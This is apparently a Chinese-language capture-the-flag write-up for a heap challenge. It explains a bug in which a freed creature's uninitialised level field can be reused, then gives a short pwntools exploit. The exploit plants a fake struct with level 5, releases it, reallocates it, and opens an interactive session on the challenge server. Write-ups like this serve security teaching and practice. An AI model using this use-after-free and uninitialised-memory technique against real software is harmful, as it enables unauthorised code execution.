结构体
struct Creature{
char* name;
unsigned int level;
};
思路
-
level为5时即可
-
但是写入限制了level只能为4
漏洞
- 只释放了申请的name,然后把creature设为NULL,没有释放creature
- 并且申请creature时没有清空level
- 使用前没有初始化level, 可以现在name中写入一个假的creature,再释放,使得再次申请Craeture时level正好为之前的5
exp
from pwn import *
#context.log_level = 'debug'
context(os='linux', arch='amd64')
elf=ELF('./a.dms')
#sh=process('./a.dms')
sh=remote('ctf.metasequoia.tk', 29579)
#gdb.attach(sh)
def cmd(s):
sh.recvuntil('> ')
sh.sendline(s)
def summon(name):
cmd('summon '+name)
sh.recvuntil('"\n')
def release():
cmd('release')
sh.recvuntil('Released.\n')
def strike():
cmd('strike')
fakeCreature='A'*8+p64(5)
summon(fakeCreature)
release()
summon('chh')
strike()
sh.interactive()